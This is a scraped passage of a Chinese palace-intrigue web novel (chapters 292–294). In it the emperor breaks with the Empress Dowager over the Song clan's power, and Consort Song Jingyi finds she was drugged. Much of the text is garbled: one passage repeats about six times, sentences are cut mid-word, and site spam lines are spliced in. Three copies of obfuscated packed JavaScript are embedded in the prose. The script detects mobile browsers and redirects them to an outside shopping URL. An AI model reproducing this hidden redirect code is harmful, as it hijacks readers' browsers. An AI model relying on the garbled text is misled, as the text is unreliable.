姜玄却不为所动,神色冷漠,语气带着讥诮,一字一句地说道:“朕还要怎么捧着宋家?自朕登基以来,朝堂之上的军政大权,后宫之中的人事安排,全是宋家直接或者间接掌控着,朕的身边,到处都是宋家的人,朕能给宋家的荣耀,能给宋家的恩宠,全都给了,太后,你还要什么呢?不如,朕把这天下,也一并给宋家,让你们宋家,彻底取代姜氏,可好?” 太后咬着牙,强忍着手腕上的剧痛,缓缓扶着书案,站直了身子,脸色苍白,眼底却满是不服与怨愤,她看着姜玄的背影,声音沙哑地反驳道:“可你变了!从前你不是这样的,宋襄在禁军统领的位置上,做得好好的,你为何要突然罢免他,让徐昭那个外人接替他的位置?你就是想卸去宋家的兵权,就是想架空宋家!” 姜玄缓缓转过身,眸色冰冷,眼底满是嘲讽“为何?太后心里难道不清楚吗?宋襄真的做得好好的吗?他私自动用禁军,为宋家子弟强占民宅,此事,你又可知晓?他瞒报人数,吃空饷,你可知道?他身为禁军统领,不思守护皇城安危,反倒借着职权,为宋家谋取私利,纵容子弟作恶,这也叫做得好好的?” 直信任宋家,依赖宋家,不是吗?我先前跟你提的提议,对你、对宋家,都有利无害,你觉得如何?静仪这孩子,心思本就不在陛下身上,她眉眼间,又与我有几分相似,这难道不是天意吗?” 听着她这般偏执荒唐的话语,姜玄只觉得一阵心烦意乱,胸口的怒火几乎要喷涌而出。他不愿再同这个疯狂的女人多说一句废话,转身便要甩袖离开,再多停留一刻,他都怕自己会忍不住发作。 “站住!”太后见状,心头一急,快步上前,一把死死拉住了姜玄的衣袖,声音低沉却带着无尽的怨愤,“姜玄,你站住!你这般对宋家,你对得起宋家吗?对得起那些为你战死的宋家子弟吗?对得起宋止那条断了的胳膊吗?” 姜玄的脚步顿住,心底的不耐彻底爆发,他皱着眉,语气冰冷而不耐烦地低吼道:“放手!” 可太后却像是没有听到一般,依旧死死攥着他的衣袖,不肯松手。 姜玄忍无可忍,只得猛地扬手,用力挥开太后的手。他此刻正在气头上,力道极大,太后丝毫没有防备,根本来不及躲闪,被他这一挥手,狠狠推得一个趔趄,身子向后倒去,重重地撞到了身后的书案上,发出一声沉闷的声响。她的衣袖恰好从桌案旁的烛台边划过,险些将烛台带倒,滚烫的烛油溅出几滴,直直落在她的手腕上,灼烧般的疼痛瞬间席卷全身,疼得太后忍不住低嘶了一声。 姜玄却不为所动,神色冷漠,语气带着讥诮,一字一句地说道:“朕还要怎么捧着宋家?自朕登基以来,朝堂之上的军政大权,后宫之中的人事安排,全是宋家直接或者间接掌控着,朕的身边,到处都是宋家的人,朕能给宋家的荣耀,能给宋家的恩宠,全都给了,太后,你还要什么呢?不如,朕把这天下,也一并给宋家,让你们宋家,彻底取代姜氏,可好?” 太后咬着牙,强忍着手腕上的剧痛,缓缓扶着书案,站直了身子,脸色苍白,眼底却满是不服与怨愤,她看着姜玄的背影,声音沙哑地反驳道:“可你变了!从前你不是这样的,宋襄在禁军统领的位置上,做得好好的,你为何要突然罢免他,让徐昭那个外人接替他的位置?你就是想卸去宋家的兵权,就是想架空宋家!” 姜玄缓缓转过身,眸色冰冷,眼底满是嘲讽“为何?太后心里难道不清楚吗?宋襄真的做得好好的吗?他私自动用禁军,为宋家子弟强占民宅,此事,你又可知晓?他瞒报人数,吃空饷,你可知道?他身为禁军统领,不思守护皇城安危,反倒借着职权,为宋家谋取私利,纵容子弟作恶,这也叫做得好好的?” 直信任宋家,依赖宋家,不是吗?我先前跟你提的提议,对你、对宋家,都有利无害,你觉得如何?静仪这孩子,心思本就不在陛下身上,她眉眼间,又与我有几分相似,这难道不是天意吗?” 听着她这般偏执荒唐的话语,姜玄只觉得一阵心烦意乱,胸口的怒火几乎要喷涌而出。他不愿再同这个疯狂的女人多说一句废话,转身便要甩袖离开,再多停留一刻,他都怕自己会忍不住发作。 “站住!”太后见状,心头一急,快步上前,一把死死拉住了姜玄的衣袖,声音低沉却带着无尽的怨愤,“姜玄,你站住!你这般对宋家,你对得起宋家吗?对得起那些为你战死的宋家子弟吗?对得起宋止那条断了的胳膊吗?” 姜玄的脚步顿住,心底的不耐彻底爆发,他皱着眉,语气冰冷而不耐烦地低吼道:“放手!” 可太后却像是没有听到一般,依旧死死攥着他的衣袖,不肯松手。 姜玄忍无可忍,只得猛地扬手,用力挥开太后的手。他此刻正在气头上,力道极大,太后丝毫没有防备,根本来不及躲闪,被他这一挥手,狠狠推得一个趔趄,身子向后倒去,重重地撞到了身后的书案上,发出一声沉闷的声响。她的衣袖恰好从桌案旁的烛台边划过,险些将烛台带倒,滚烫的烛油溅出几滴,直直落在她的手腕上,灼烧般的疼痛瞬间席卷全身,疼得太后忍不住低嘶了一声。 姜玄却不为所动,神色冷漠,语气带着讥诮,一字一句地说道:“朕还要怎么捧着宋家?自朕登基以来,朝堂之上的军政大权,后宫之中的人事安排,全是宋家直接或者间接掌控着,朕的身边,到处都是宋家的人,朕能给宋家的荣耀,能给宋家的恩宠,全都给了,太后,你还要什么呢?不如,朕把这天下,也一并给宋家,让你们宋家,彻底取代姜氏,可好?” 太后咬着牙,强忍着手腕上的剧痛,缓缓扶着书案,站直了身子,脸色苍白,眼底却满是不服与怨愤,她看着姜玄的背影,声音沙哑地反驳道:“可你变了!从前你不是这样的,宋襄在禁军统领的位置上,做得好好的,你为何要突然罢免他,让徐昭那个外人接替他的位置?你就是想卸去宋家的兵权,就是想架空宋家!” 姜玄缓缓转过身,眸色冰冷,眼底满是嘲讽“为何?太后心里难道不清楚吗?宋襄真的做得好好的吗?他私自动用禁军,为宋家子弟强占民宅,此事,你又可知晓?他瞒报人数,吃空饷,你可知道?他身为禁军统领,不思守护皇城安危,反倒借着职权,为宋家谋取私利,纵容子弟作恶,这也叫做得好好的?” 直信任宋家,依赖宋家,不是吗?我先前跟你提的提议,对你、对宋家,都有利无害,你觉得如何?静仪这孩子,心思本就不在陛下身上,她眉眼间,又与我有几分相似,这难道不是天意吗?” 听着她这般偏执荒唐的话语,姜玄只觉得一阵心烦意乱,胸口的怒火几乎要喷涌而出。他不愿再同这个疯狂的女人多说一句废话,转身便要甩袖离开,再多停留一刻,他都怕自己会忍不住发作。 “站住!”太后见状,心头一急,快步上前,一把死死拉住了姜玄的衣袖,声音低沉却带着无尽的怨愤,“姜玄,你站住!你这般对宋家,你对得起宋家吗?对得起那些为你战死的宋家子弟吗?对得起宋止那条断了的胳膊吗?” 姜玄的脚步顿住,心底的不耐彻底爆发,他皱着眉,语气冰冷而不耐烦地低吼道:“放手!” 可太后却像是没有听到一般,依旧死死攥着他的衣袖,不肯松手。 姜玄忍无可忍,只得猛地扬手,用力挥开太后的手。他此刻正在气头上,力道极大,太后丝毫没有防备,根本来不及躲闪,被他这一挥手,狠狠推得一个趔趄,身子向后倒去,重重地撞到了身后的书案上,发出一声沉闷的声响。她的衣袖恰好从桌案旁的烛台边划过,险些将烛台带倒,滚烫的烛油溅出几滴,直直落在她的手腕上,灼烧般的疼痛瞬间席卷全身,疼得太后忍不住低嘶了一声。 姜玄却不为所动,神色冷漠,语气带着讥诮,一字一句地说道:“朕还要怎么捧着宋家?自朕登基以来,朝堂之上的军政大权,后宫之中的人事安排,全是宋家直接或者间接掌控着,朕的身边,到处都是宋家的人,朕能给宋家的荣耀,能给宋家的恩宠,全都给了,太后,你还要什么呢?不如,朕把这天下,也一并给宋家,让你们宋家,彻底取代姜氏,可好?” 太后咬着牙,强忍着手腕上的剧痛,缓缓扶着书案,站直了身子,脸色苍白,眼底却满是不服与怨愤,她看着姜玄的背影,声音沙哑地反驳道:“可你变了!从前你不是这样的,宋襄在禁军统领的位置上,做得好好的,你为何要突然罢免他,让徐昭那个外人接替他的位置?你就是想卸去宋家的兵权,就是想架空宋家!” 姜玄缓缓转过身,眸色冰冷,眼底满是嘲讽“为何?太后心里难道不清楚吗?宋襄真的做得好好的吗?他私自动用禁军,为宋家子弟强占民宅,此事,你又可知晓?他瞒报人数,吃空饷,你可知道?他身为禁军统领,不思守护皇城安危,反倒借着职权,为宋家谋取私利,纵容子弟作恶,这也叫做得好好的?” 直信任宋家,依赖宋家,不是吗?我先前跟你提的提议,对你、对宋家,都有利无害,你觉得如何?静仪这孩子,心思本就不在陛下身上,她眉眼间,又与我有几分相似,这难道不是天意吗?” 听着她这般偏执荒唐的话语,姜玄只觉得一阵心烦意乱,胸口的怒火几乎要喷涌而出。他不愿再同这个疯狂的女人多说一句废话,转身便要甩袖离开,再多停留一刻,他都怕自己会忍不住发作。 “站住!”太后见状,心头一急,快步上前,一把死死拉住了姜玄的衣袖,声音低沉却带着无尽的怨愤,“姜玄,你站住!你这般对宋家,你对得起宋家吗?对得起那些为你战死的宋家子弟吗?对得起宋止那条断了的胳膊吗?” 姜玄的脚步顿住,心底的不耐彻底爆发,他皱着眉,语气冰冷而不耐烦地低吼道:“放手!” 可太后却像是没有听到一般,依旧死死攥着他的衣袖,不肯松手。 姜玄忍无可忍,只得猛地扬手,用力挥开太后的手。他此刻正在气头上,力道极大,太后丝毫没有防备,根本来不及躲闪,被他这一挥手,狠狠推得一个趔趄,身子向后倒去,重重地撞到了身后的书案上,发出一声沉闷的声响。她的衣袖恰好从桌案旁的烛台边划过,险些将烛台带倒,滚烫的烛油溅出几滴,直直落在她的手腕上,灼烧般的疼痛瞬间席卷全身,疼得太后忍不住低嘶了一声。 姜玄却不为所动,神色冷漠,语气带着讥诮,一字一句地说道:“朕还要怎么捧着宋家?自朕登基以来,朝堂之上的军政大权,后宫之中的人事安排,全是宋家直接或者间接掌控着,朕的身边,到处都是宋家的人,朕能给宋家的荣耀,能给宋家的恩宠,全都给了,太后,你还要什么呢?不如,朕把这天下,也一并给宋家,让你们宋家,彻底取代姜氏,可好?” 太后咬着牙,强忍着手腕上的剧痛,缓缓扶着书案,站直了身子,脸色苍白,眼底却满是不服与怨愤,她看着姜玄的背影,声音沙哑地反驳道:“可你变了!从前你不是这样的,宋襄在禁军统领的位置上,做得好好的,你为何要突然罢免他,让徐昭那个外人接替他的位置?你就是想卸去宋家的兵权,就是想架空宋家!” 姜玄缓缓转过身,眸色冰冷,眼底满是嘲讽“为何?太后心里难道不清楚吗?宋襄真的做得好好的吗?他私自动用禁军,为宋家子弟强占民宅,此事,你又可知晓?他瞒报人数,吃空饷,你可知道?他身为禁军统领,不思守护皇城安危,反倒借着职权,为宋家谋取私利,纵容子弟作恶,这也叫做得好好的?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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太后咬着牙,强忍着手腕上的剧痛,缓缓扶着书案,站直了身子,脸色苍白,眼底却满是不服与怨愤,她看着姜玄的背影,声音沙哑地反驳道:“可你变了!从前你不是这样的,宋襄在禁军统领的位置上,做得好好的,你为何要突然罢免他,让徐昭那个外人接替他的位置?你就是想卸去宋家的兵权,就是想架空宋家!” 姜玄缓缓转过身,眸色冰冷,眼底满是嘲讽“为何?太后心里难道不清楚吗?宋襄真的做得好好的吗?他私自动用禁军,为宋家子弟强占民宅,此事,你又可知晓?他瞒报人数,吃空饷,你可知道?他身为禁军统领,不思守护皇城安危,反倒借着职权,为宋家谋取私利,纵容子弟作恶,这也叫做得好好的?” 直信任宋家,依赖宋家,不是吗?我先前跟你提的提议,对你、对宋家,都有利无害,你觉得如何?静仪这孩子,心思本就不在陛下身上,她眉眼间,又与我有几分相似,这难道不是天意吗?” 听着她这般偏执荒唐的话语,姜玄只觉得一阵心烦意乱,胸口的怒火几乎要喷涌而出。他不愿再同这个疯狂的女人多说一句废话,转身便要甩袖离开,再多停留一刻,他都怕自己会忍不住发作。 “站住!”太后见状,心头一急,快步上前,一把死死拉住了姜玄的衣袖,声音低沉却带着无尽的怨愤,“姜玄,你站住!你这般对宋家,你对得起宋家吗?对得起那些为你战死的宋家子弟吗?对得起宋止那条断了的胳膊吗?” 姜玄的脚步顿住,心底的不耐彻底爆发,他皱着眉,语气冰冷而不耐烦地低吼道:“放手!” 可太后却像是没有听到一般,依旧死死攥着他的衣袖,不肯松手。 姜玄忍无可忍,只得猛地扬手,用力挥开太后的手。他此刻正在气头上,力道极大,太后丝毫没有防备,根本来不及躲闪,被他这一挥手,狠狠推得一个趔趄,身子向后倒去,重重地撞到了身后的书案上,发出一声沉闷的声响。她的衣袖恰好从桌案旁的烛台边划过,险些将烛台带倒,滚烫的烛油溅出几滴,直直落在她的手腕上,灼烧般的疼痛瞬间席卷全身,疼得太后忍不住低嘶了一声。 姜玄却不为所动,神色冷漠,语气带着讥诮,一字一句地说道:“朕还要怎么捧着宋家?自朕登基以来,朝堂之上的军政大权,后宫之中的人事安排,全是宋家直接或者间接掌控着,朕的身边,到处都是宋家的人,朕能给宋家的荣耀,能给宋家的恩宠,全都给了,太后,你还要什么呢?不如,朕把这天下,也一并给宋家,让你们宋家,彻底取代姜氏,可好?” 太后咬着牙,强忍着手腕上的剧痛,缓缓扶着书案,站直了身子,脸色苍白,眼底却满是不服与怨愤,她看着姜玄的背影,声音沙哑地反驳道:“可你变了!从前你不是这样的,宋襄在禁军统领的位置上,做得好好的,你为何要突然罢免他,让徐昭那个外人接替他的位置?你就是想卸去宋家的兵权,就是想架空宋家!” 姜玄缓缓转过身,眸色冰冷,眼底满是嘲讽“为何?太后心里难道不清楚吗?宋襄真的做得好好的吗?他私自动用禁军,为宋家子弟强占民宅,此事,你又可知晓?他瞒报人数,吃空饷,你可知道?他身为禁军统领,不思守护皇城安危,反倒借着职权,为宋家谋取私利,纵容子弟作恶,这也叫做得好好的?” 直信任宋家,依赖宋家,不是吗?我先前跟你提的提议,对你、对宋家,都有利无害,你觉得如何?静仪这孩子,心思本就不在陛下身上,她眉眼间,又与我有几分相似,这难道不是天意吗?” 听着她这般偏执荒唐的话语,姜玄只觉得一阵心烦意乱,胸口的怒火几乎要喷涌而出。他不愿再同这个疯狂的女人多说一句废话,转身便要甩袖离开,再多停留一刻,他都怕自己会忍不住发作。 “站住!”太后见状,心头一急,快步上前,一把死死拉住了姜玄的衣袖,声音低沉却带着无尽的怨愤,“姜玄,你站住!你这般对宋家,你对得起宋家吗?对得起那些为你战死的宋家子弟吗?对得起宋止那条断了的胳膊吗?” 姜玄的脚步顿住,心底的不耐彻底爆发,他皱着眉,语气冰冷而不耐烦地低吼道:“放手!” 可太后却像是没有听到一般,依旧死死攥着他的衣袖,不肯松手。 姜玄忍无可忍,只得猛地扬手,用力挥开太后的手。他此刻正在气头上,力道极大,太后丝毫没有防备,根本来不及躲闪,被他这一挥手,狠狠推得一个趔趄,身子向后倒去,重重地撞到了身后的书案上,发出一声沉闷的声响。她的衣袖恰好从桌案旁的烛台边划过,险些将烛台带倒,滚烫的烛油溅出几滴,直直落在她的手腕上,灼烧般的疼痛瞬间席卷全身,疼得太后忍不住低嘶了一声。 姜玄却不为所动,神色冷漠,语气带着讥诮,一字一句地说道:“朕还要怎么捧着宋家?自朕登基以来,朝堂之上的军政大权,后宫之中的人事安排,全是宋家直接或者间接掌控着,朕的身边,到处都是宋家的人,朕能给宋家的荣耀,能给宋家的恩宠,全都给了,太后,你还要什么呢?不如,朕把这天下,也一并给宋家,让你们宋家,彻底取代姜氏,可好?” 太后咬着牙,强忍着手腕上的剧痛,缓缓扶着书案,站直了身子,脸色苍白,眼底却满是不服与怨愤,她看着姜玄的背影,声音沙哑地反驳道:“可你变了!从前你不是这样的,宋襄在禁军统领的位置上,做得好好的,你为何要突然罢免他,让徐昭那个外人接替他的位置?你就是想卸去宋家的兵权,就是想架空宋家!” 姜玄缓缓转过身,眸色冰冷,眼底满是嘲讽“为何?太后心里难道不清楚吗?宋襄真的做得好好的吗?他私自动用禁军,为宋家子弟强占民宅,此事,你又可知晓?他瞒报人数,吃空饷,你可知道?他身为禁军统领,不思守护皇城安危,反倒借着职权,为宋家谋取私利,纵容子弟作恶,这也叫做得好好的?” 第292章 情分有限 太后闻言,眉头紧紧蹙起,脸色愈发难看。姜玄所说的这些事,她并非全然不知,只是在她看来,这些都只是小事,不过是宋襄一时疏忽,或是宋家子弟年少轻狂,算不上什么大错,姜玄可以小惩大诫,但不应该罢免他的禁军统领之职。她张了张嘴,想要反驳,却一时语塞,不知该如何辩解。 姜玄看着她语塞的模样,眼底的嘲讽更甚,语气依旧冰冷:“朕罢免宋襄,并未将他一贬到底,反而给了他五城兵马司副手的职位,依旧让他手握一定的权力;宋止卸去兵权,朕也给了他奉国伯的爵位,赏赐了无数金银珠宝,保他一世荣华富贵,太后,你还觉得不足吗?你还要朕怎么做,才算对得起宋家? 太后沉默了许久,脸色苍白如纸,手腕上的疼痛依旧清晰,心底的怨愤与不甘,却丝毫未减。半晌,她才抬起头,看着姜玄道:“禁军不是宋家的人,哀家心中不安!只有宋家才会一直忠于皇上…… 姜玄字字冰冷:“朕心安,就行了。这天下,是朕的天下,禁军,是朕的禁军! 太后定定地凝视着姜玄,目光紧紧锁在他成熟英俊的脸上,脑海中,不由自主地想起了他数年前的模样。 那时的姜玄,还只是一个不起眼的皇子,对她言听计从,对宋家百般依赖,哪怕是一件小事,都会小心翼翼地向她请示,那般温顺,那般恭敬,可如今,他身居高位,羽翼丰满,却早已忘了初心,忘了所有的恩情,变得冷漠、多疑、狠绝。 太后声音沙哑质问:“所以现在,皇帝已经与哀家离心了,是吗? 姜玄道:“朕感念太后娘娘与宋家当年的帮扶之情,从未有过半分忘怀。这些年,朕自问从未对不起宋家,能给宋家和太后的荣耀、恩宠、富贵,也都一一给了。但太后娘娘,人要学会知足,莫要得寸进尺。 太后闻言,脸色瞬间变幻不定。 她不由自主地想起姜昀的模样,与姜玄的冷漠狠绝截然不同,姜昀一贯是温柔又霸道的。这么多年,无论她如何冷淡他、拒绝他,从未给过他一次好脸色,他却依旧把她放在心上,甚至在临死之前,他都没有半句怨言,还把观星台留给她,那是他能给她的,最后的温柔与念想。 反观姜玄,她倾尽宋家之力,将他从冷宫中接出来,殚精竭虑辅佐他登基,为他铺路搭桥,为他平定叛乱,她耗尽心血,换来的却是他的猜忌、疏离与冷漠。 “姜玄,你不会真以为你是天命所归吧?你以为那份传位诏书,真是先帝授意的吗?是哀家…… “朕 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 知道,所以朕说了,感念太后与宋家的帮扶之情。” 姜玄打断了她的话,平静说道 太后猛地向前一步,怨毒地看着姜玄,“姜玄,你知道我的手段……” 姜玄抬眸,目光扫过太后因愤怒而扭曲的脸庞,语气轻淡却字字诛心:“知道,您尽管使。太后须知,人与人之间的情分,从来都是有限度的。” “你这是要跟宋家和哀家**?”太后的声音带着一丝颤音,死死盯着姜玄,她不敢相信,自己一手辅佐起来的皇帝,竟然会对她说出这样的话。 姜玄缓缓说道:“朕并无此意,一切,只看太后如何行事。” 说完这一句,姜玄不再看太后一眼,转身径直朝着寝殿门外走去 太后一个人愣愣地站在原地,一动不动,周身的气息瞬间变得萎靡,仿佛被抽走了所有的力气,眼底的怒火与不甘,渐渐被无尽的悲凉与绝望取代。 她缓缓抬起头,目光落在桌案上的烛台里,那支蜡烛已经快要燃尽,烛火微弱,摇曳不定。 太后的耳畔,又一遍遍回响着姜玄刚刚说过的话,那句“人与人的情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17260243|197140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分是有限的”,他们之间的情分,当真如眼前这烛火一般要被燃尽了吗? 太后心底的悔恨与怨愤,几乎要将她淹没。从当年将他从冷宫中接出来,到如今,整整七八年的时间,她殚精竭虑,呕心沥血,为了他,为了宋家,能做的,她都做了,不能做的,她也拼了命去做,可最后,她换来的,却只有这样一句冰冷刺骨、凉薄无情的话。 太后不知道自己是怎么回的长乐宫,她感到太阳穴一阵阵胀痛,人也昏沉得厉害。 沁芳带人服侍着太后换了衣裳,沐浴更衣,躺在榻上,太后才觉得好了一些,整个人你似乎被抽走了精气神,闭上眼睛不想再动。 与此同时,长乐宫的偏殿里,宋静仪幽幽醒转过来。 她猛地睁开眼睛,眼底有些茫然,愣了片刻,才缓缓回过神来,意识到自己正躺在偏殿的软榻上。 宋静仪心头一慌,她连忙撑着身子坐起来,透过隔扇瞧见宫女竹影正在小心翼翼地收拾着桌上的茶盏,便开口询问:“竹影,现在是什么时辰了?我怎么在这里睡着了?太后娘娘呢?她在哪里?” 竹影听到声音,连忙停下手中的动作,站起身,对着宋静仪躬身行礼回道:“启禀静妃娘娘,子时过半了。太后娘娘已经歇下了,刚才沁芳姑姑过来吩咐过,说娘娘您醒了之后,不必去同太后娘娘道别,直接回钟粹宫就行了。” 宋静仪轻轻哦了一声,抬手揉了揉发胀的太阳穴,试图缓解心底的不安。 她心底满是疑惑与自责,不明白自己今晚为何会这么困,怎么就在偏殿睡着了,而且一睡就睡到了子时过半,这般失态,实在是不合规矩。 宋静仪缓缓站起身,伸手理了理身上的衣袍,却总觉得有些不太对劲,她下意识地抬起自己的衣袖,凑近鼻尖轻轻闻了闻,一股淡淡的香气萦绕在鼻尖,那香气有些熟悉,像是是太后平日里最常用的熏香味道。 第293章 我为何做不得 宋静仪微微蹙眉,眼底的疑惑更重了。难道是因为她在太后的宫里待了许久,衣袖不小心沾染上了太后的熏香味道? 她犹豫着,缓缓往前走了两步,可脚步刚落下,便觉得浑身一阵虚软,差点摔倒在地。 宋静仪心头一惊,连忙伸出手,死死扶住身旁的隔扇,才勉强稳住身形。 这一刻,宋静仪越发确认,自己的身体不对劲,这绝不仅仅是简单的犯困,更像是被人下了药。如今药效渐渐散去,她虽然清醒了过来,可身体还未完全恢复,一时半会依旧不能自如活动。 长乐宫里,没有太后授意,没人敢这么对她。 可太后为什么要这么做?若是真的想对她不利,以太后的手段,根本不必这般大费周章,只需一碗**,便能悄无声息地了结她的性命。可太后什么也没做,只是让她在偏殿里睡了一觉,醒来之后,除了头晕乏力,并没有其他任何不适。 宋静仪再次抬起自己的衣袖,凑近鼻尖,又仔细闻了闻,这一次,那股属于太后的熏香味道,似乎比刚才更加浓郁了一些,隐约之间,还夹杂着一丝其他味道,像是烛油的气息。她皱着眉,目光落在自己的袖口上,仔细打量着,这一看,便看到了几处小小的油斑,颜色淡淡的,若是不仔细看,或许真的会忽略过去。 宋静仪的心跳,不由得漏了一拍,心底的不安愈发强烈。宫人们也素来谨慎,绝不可能把带着污渍的衣裳给她穿,她今晚出门之前,特意检查过自己的衣袍,干干净净,没有丝毫污渍,这袖口上的油斑,绝不可能是原本就有的。 莫名昏倒、浑身虚软像是中了药、衣袖上沾染着太后常用的熏香、还有这凭空出现的油斑……一个个念头,在她脑海中飞速闪过,宋静仪的脸色,也变得越发苍白。 可是为什么呢?太后身为堂堂太后,身份尊贵,为何要穿她的衣裳,为何要偷偷给她下药,让她在偏殿昏睡? 宋静仪本就是个聪明剔透、心思缜密的女子,她强迫自己冷静下来,细细思索着,不知不觉间,便想到了这些日子以来的反常——她的皮肤,不知从何时起,变得越来越白皙细腻,越来越像太后的肤色;就连宫中的侍女给她描眉、化妆,妆容也渐渐朝着太后的模样靠拢,起初她只当是巧合,只当是侍女们为了帮她讨好太后,才刻意模仿,可如今想来,这一切,或许都不是巧合。 想到这里,宋静仪的呼吸都变得有些急促。一股强烈的不安与恐惧,瞬间席卷了她,她不敢再往下想,可脑海中,却不由自主地浮现出一个荒唐却又让 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 她心惊的猜测,让她浑身冰冷,几乎要站立不稳。 沉默片刻,宋静仪深吸一口气,开口吩咐道:“竹影,我想求见太后娘娘。” 竹影闻言,脸上露出几分为难之色,下意识地劝道:“娘娘,太后娘娘已经歇下了,沁芳姑姑特意吩咐过,不让惊扰娘娘的……” “没关系,你去通传一下,倘若娘娘真睡着了,本宫便不打搅她。” 宋静仪有种预感,太后肯定没有睡着,她也没有想完全瞒着自己,不然可以做得更周密些。 等了片刻后,竹影便领着一名内侍走了进来,内侍对着宋静仪躬身行礼,语气恭敬:“静妃娘娘,太后娘娘宣您觐见。” 宋静仪微微颔首,整理了一下身上的衣袍,压下心底的波澜,跟着内侍,去了太后的寝宫的内殿。 内殿的熏香依旧清洌,却夹杂着一丝淡淡的药味。宋静仪抬眼望去,只见太后穿着一身素色的软缎寝衣,歪靠在铺着厚厚软垫的拔步床上,身形显得格外单薄,脸色苍白,手上缠着一圈布带,似乎是受了伤。 她缓步走到榻前,微微躬身行礼,低低问道:“娘娘,臣妾有一事不明,想请教娘娘——娘娘为何要穿臣妾的衣裳?” 太后缓缓睁开眼睛,淡淡地瞥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17260244|197140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了她一眼,语气慵懒而疏离,反问一句:“你觉得呢?” 宋静仪垂在身侧的手微微攥紧,“臣妾不知,也不敢胡乱猜测,还请娘娘给臣妾一个明确的答案。” 太后轻轻笑了笑,缓缓开口道:“你不喜欢这皇宫,也不喜欢他,我替了你,不好吗?” “轰”的一声,宋静仪只觉得脑海中一片空白,脸色瞬间大变,血色尽褪,只剩下惨白如纸,浑身微微颤抖起来。 从前所有的怪异之处,此刻全都有了答案,如同迷雾被拨开,清晰地呈现在她眼前。 她也终于开始理解,为何太后倾尽宋家之力,辅佐姜玄登基,对他恩重如山,可姜玄与太后之间,却总是不咸不淡,甚至带着几分疏离与猜忌。 “你……这……”宋静仪嘴唇哆嗦着,想说什么,却发现喉咙像是被什么堵住了一般,一个字也说不出来。 太后看着她这副惊慌失措、语无伦次的模样,忽然嗤笑一声,语气里满是嘲讽,还有几分不易察觉的悲凉:“吓到了?这有什么好怕的?不过是换个身份,留在这宫里罢了。你知道先帝朝的云妃吗?” 宋静仪愣了一下,一时没反应过来,太后为何会突然说起云妃,茫然地站在原地,轻轻摇了摇头,声音沙哑地说道:“臣妾……臣妾不知。” 太后语气平淡地说道:“云妃,便是先帝的庶母,曾贵人。惠宗皇帝驾崩之后,先帝登基,碍于礼法,不能明目张胆地将曾贵人纳入后宫,便悄悄派人,将曾贵人送回了她的老家,换了个曾家其他女子的名头,重新接入宫中,封为云妃。曾家得知此事,欢天喜地,得以重享荣华;先帝得偿所愿,将自己心爱的女子留在身边,百般宠爱;云妃也得了两三年的盛宠,还生下了淮王,一时之间,风光无限。你看,这多好的事情,各取所需,皆大欢喜。先帝能做得,我为何做不得?” 宋静仪彻底惊呆了,眼睛瞪得大大的,眨了眨眼睛,脸上满是难以置信的神色。 第294章 还不到时候 太后看着她这副模样,笑了笑,对着宋静仪轻声道:“傻孩子,姑姑刚才逗你的,别当真。在这深宫里,最要紧的,就是学会处变不惊,无论遇到什么事情,都不能这般惊慌失措。你看,你还是没学会吧。” 宋静仪被太后这般反复无常的话语,弄得彻底不知所措,脸上的震惊还未散去,又多了几分茫然与困惑,一时之间,竟不知该如何反应。 太后轻轻摆了摆手,语气重新变得平淡,甚至带着几分疏离,缓缓说道:“去吧,只当今夜,是做了一场梦。明早醒来,所有的事情,都忘了吧,不重要了。” 她的语气里,带着一丝不易察觉的疲惫与释然。 宋静仪愣愣地站在原地,等伺候她的宫人来服侍她,才勉强回神,跟着宫人们回了钟粹宫。 宋静仪走后,内殿里,再次陷入了死寂。 太后缓缓坐直了身子,神色凝重,不知在想什么。 片刻后,她缓缓伸出手,指尖按压着床头的一块雕花木板,那块木板,看似寻常,实则是一个暗格的开关。 随着一声轻微的“咔哒”声,暗格缓缓打开,里面,静静放着一个精致的檀木匣子。 太后伸出手,小心翼翼地将那个檀木匣子取了出来,打开后,她的目光落在匣子里面的内容上,眼神愈发复杂,久久没有移开。 不知过了多久,太后才缓缓抬起头,目光望向窗外漆黑的夜色,嘴角勾起一抹极淡的、决绝的笑容,喃喃低语道:“不,还没到这一步的时候。再等等……” 说罢,她缓缓合上檀木匣子,将它放回暗格,重新关上。 天刚蒙蒙亮,长寿宫的灯就亮了。 沁芳带着两个宫女伺候太后梳妆。铜镜里映出一张脸,眉眼精致,只是眼底有一夜未眠的疲惫。 “娘娘,今儿个用哪套头面?”沁芳轻声问道。 “你看着安排吧……” 沁芳取来一套头面,正要插戴,太后忽然开口:“不必遮遮掩掩了。” 沁芳的手顿住了。 “你代表哀家出面,支持戚氏。” 沁芳猛地抬起头,脸色发白:“娘娘何必如此?让杨夫人去闹就是了。您这一出面,岂不是……岂不是和皇上真的离了心?” 